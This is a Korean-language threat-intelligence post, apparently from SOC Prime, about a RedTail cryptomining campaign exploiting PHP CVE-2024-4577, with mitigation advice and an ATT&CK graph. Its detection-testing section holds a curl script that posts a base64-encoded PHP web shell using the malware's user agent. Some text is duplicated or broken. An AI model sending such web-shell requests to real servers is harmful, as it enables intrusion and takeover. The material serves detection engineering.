SOC Prime Bias: Critical

30 4월 2026 17:12

Libredtail, CVE-2024-4577을 통한 크립토마이닝 공격

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
Libredtail, CVE-2024-4577을 통한 크립토마이닝 공격
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 HTTP 요청을 통해 배포되는 레드테일 맬웨어 패밀리를 포함한 암호화폐 채굴 캠페인을 자세히 설명하며, 이는 CVE-2024-4577 의 PHP 취약점을 악용합니다. 공격자는 self-replicating 스크립트 cve_2024_4577.selfrep를 실행하여 검색 및 실행하는 Base64로 인코딩된 페이로드를 전송합니다. 이러한 활동은 취약한 웹 서버를 대상으로 하며 기본 자격 증명을 이용하여 접근을 확장하는 SSH 로그인 시도가 뒤따릅니다.

조사

조사자는 독일, 영국, 인도의 여러 IP 주소가 /bin/sh, wget or curl 을 이용해 셸 스크립트를 다운로드하고 CVE-2024-4577 공격을 유발하도록 설계된 네 개의 HTTP POST 요청을 전송하는 것을 관찰했습니다. 성공 시, 공격은 숨겨진 .redtail 바이너리를 투하하여 호스트에서 이미 실행 중인 경쟁 암호화폐 채굴 서비스를 종료합니다. 조사 과정에서 관리/관리와 같은 자격 증명을 사용하는 SSH 로그인 시도도 기록되었으며, SYN 스캔 활동도 확인되었습니다. admin/admin, along with SYN scanning activity.

완화

조직은 CVE-2024-4577를 해결하는 PHP 설치 버전을 업데이트하고, libredtail-http 사용자 에이전트를 경계에서 차단하며, /sh 또는 알려진 공격 페이로드 패턴이 포함된 요청을 차단하는 WAF 규칙을 배포해야 합니다. SSH 접근은 키 기반 인증을 시행하고 기본 또는 약한 자격 증명을 비활성화하여 강화되어야 합니다. 알려지지 않은 IP 주소로의 의심스러운 아웃바운드 트래픽을 모니터링하는 것도 권장됩니다.

대응

탐지가 트리거될 경우, 수호자는 영향을 받은 시스템을 격리하고, cve_2024_4577.selfrep 스크립트 및 .redtail 바이너리와 같은 포렌식 아티팩트를 수집하며 맬웨어가 생성한 크론 작업이나 예약된 작업을 제거해야 합니다. 그 후 보안 팀은 환경에서 PHP 애플리케이션을 인벤토리하고 필요한 패치를 적용해야 합니다. SSH 로그도 자격 증명 오용이나 무단 접근의 징후를 위해 검토되어야 합니다.

"graph TB %% 클래스 정의 classDef technique fill:#99ccff %% 노드 u2013 MITRE ATT&CK Techniques tech_exploit_app["<b>기술</b> – <b>T1190 공개 애플리케이션 악용</b><br/><b>설명</b>: 적들은 초기 접근을 위해 공개된 애플리케이션을 악용할 수 있습니다."] class tech_exploit_app technique tech_content_injection["<b>기술</b> – <b>T1659 콘텐츠 주입</b><br/><b>설명</b>: 적이 웹 애플리케이션에 PHP 페이로드 같은 악성 콘텐츠를 주입하여 코드 실행을 달성합니다."] class tech_content_injection technique tech_deobfuscate["<b>기술</b> – <b>T1140 파일/정보 복호화</b><br/><b>설명</b>: 적들은 명령어 혹은 페이로드를 드러내기 위해 데이터(예: Base64)를 복호화합니다."] class tech_deobfuscate technique tech_unix_shell["<b>기술</b> – <b>T1059.004 Unix 셸</b><br/><b>설명</b>: 적이 Unix 셸을 사용하여 웹진, curl, 또는 sh 등의 명령을 실행해서 악성 코드를 다운로드 및 실행합니다."] class tech_unix_shell technique tech_hidden_file["<b>기술</b> – <b>T1564.001 숨겨진 파일 및 디렉토리</b><br/><b>설명</b>: 적들이 악성 아티팩트를 숨기기 위해 (.redtail과 같은) 숨겨진 파일이나 디렉토리를 생성합니다."] class tech_hidden_file technique tech_compute_hijack["<b>기술</b> – <b>T1496.001 계산 하이재킹</b><br/><b>설명</b>: 적들이 비승인 암호화폐 채굴을 수행하기 위해 시스템 계산 자원을 가로챕니다."] class tech_compute_hijack technique tech_brute_force["<b>기술</b> – <b>T1110.001 비밀번호 추측</b><br/><b>설명</b>: 적들이 유효한 자격 증명을 얻기 위해 자격 증명을 추측 시도합니다 (예: SSH admin/admin)."] class tech_brute_force technique tech_network_discovery["<b>기술</b> – <b>T1046 네트워크 서비스 발견</b><br/><b>설명</b>: 적들이 액티브 네트워크 서비스 및 열린 포트를 발견하기 위해 스캔을 수행합니다 (예: SYN 스캔)."] class tech_network_discovery technique tech_obfuscate["<b>기술</b> – <b>T1027 파일 또는 정보 은폐</b><br/><b>설명</b>: 적들은 감지를 피하기 위해 파일(예: Base64 인코딩된 POST 본문)을 인코딩하거나 다른 방법으로 은폐합니다."] class tech_obfuscate technique %% 공격 흐름 설명 연결 tech_exploit_app –>|leads_to| tech_content_injection tech_content_injection –>|leads_to| tech_deobfuscate tech_deobfuscate –>|leads_to| tech_unix_shell tech_unix_shell –>|leads_to| tech_hidden_file tech_hidden_file –>|leads_to| tech_compute_hijack tech_exploit_app –>|also_triggers| tech_brute_force tech_brute_force –>|leads_to| tech_network_discovery tech_unix_shell –>|enables| tech_obfuscate "

공격 흐름

시뮬레이션 실행

필수조건: 텔레메트리 및 기준점 사전비행 검사를 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대적 기술(전술 기술 절차)의 정확한 실행을 설명합니다. 명령어 및 설명은 식별된 기술을 직접 반영하고 탐지 로직이 기대하는 정확한 텔레메트리를 생성하는 데 목표를 두어야 합니다.

  • 공격 서사 및 명령어:
    적대자가 손상된 웹 서버에 발판을 얻고 리브레드테일-HTTP 웹 셸을 사용하여 지속성을 설정하려고 합니다. 그들은 악성 HTTP POST를 만들어:

    1. 특징적인 libredtail-HTTP 사용자 에이전트를 활용하여(맬웨어가 자체 트래픽 식별에 도움을 줍니다).
    2. URL 쿼리에 /bin/sh 명령 실행 요청과 PHP 지시어 allow_url_include=1 을 포함하고 원격 코드 포함을 허용합니다.
    3. 를 보내며, base64로 인코딩된 페이로드가 요청 본문에 포함되어 있으며 PHP 코드는 <?php system($_GET['cmd']); ?> (은폐 – T1027)입니다.
    4. 커스텀 헤더 Script-Execution: apache.selfrep 를 설정합니다. 이는 리브레드테일-HTTP가 내부적으로 자기 복제에 사용하며 script_execution|contains).

    서버는 이 요청을 처리할 때 페이로드를 디코딩하고, 웹 루트에 악성 PHP 파일을 작성하고 나중에 /bin/sh명령을 실행하여 공격자에게 암호화된 채널을 설정합니다 (T1573).

  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # 리브레드테일-HTTP 악의적 요청 시뮬레이션
    # -------------------------------------------------
    TARGET="http://localhost/upload.php"
    USER_AGENT="libredtail-http"
    MALICIOUS_PAYLOAD=$(echo -n '<?php system($_GET["cmd"]); ?>' | base64)
    
    curl -X POST "$TARGET?dir=/bin/sh&allow_url_include=1" 
         -H "User-Agent: $USER_AGENT" 
         -H "Script-Execution: apache.selfrep" 
         -H "Content-Type: application/x-www-form-urlencoded" 
         --data "payload=$MALICIOUS_PAYLOAD&marker=cve_2024_4577.selfrep"
    # 요청은 서버에 PHP 웹 셸을 생성/덮어씌워야 합니다.

    타겟 웹 서버에 도달할 수 있는 머신에서 스크립트를 실행하세요. 실행 후, SIEM에서 경고가 발생했는지 확인하세요.

  • 정리 명령어:

    #!/usr/bin/env bash
    # 테스트로 생성된 악성 PHP 웹 셸 제거
    CLEANUP_TARGET="http://localhost/cleanup.php"
    
    curl -X POST "$CLEANUP_TARGET" 
         -H "User-Agent: libredtail-http" 
         -d "file=uploaded_shell.php"

    정리 엔드포인트는 테스트 목적으로 존재한다고 가정되며, 직접 호스트 접근이 가능한 경우 적절한 파일 시스템 제거 명령어로 대체하세요.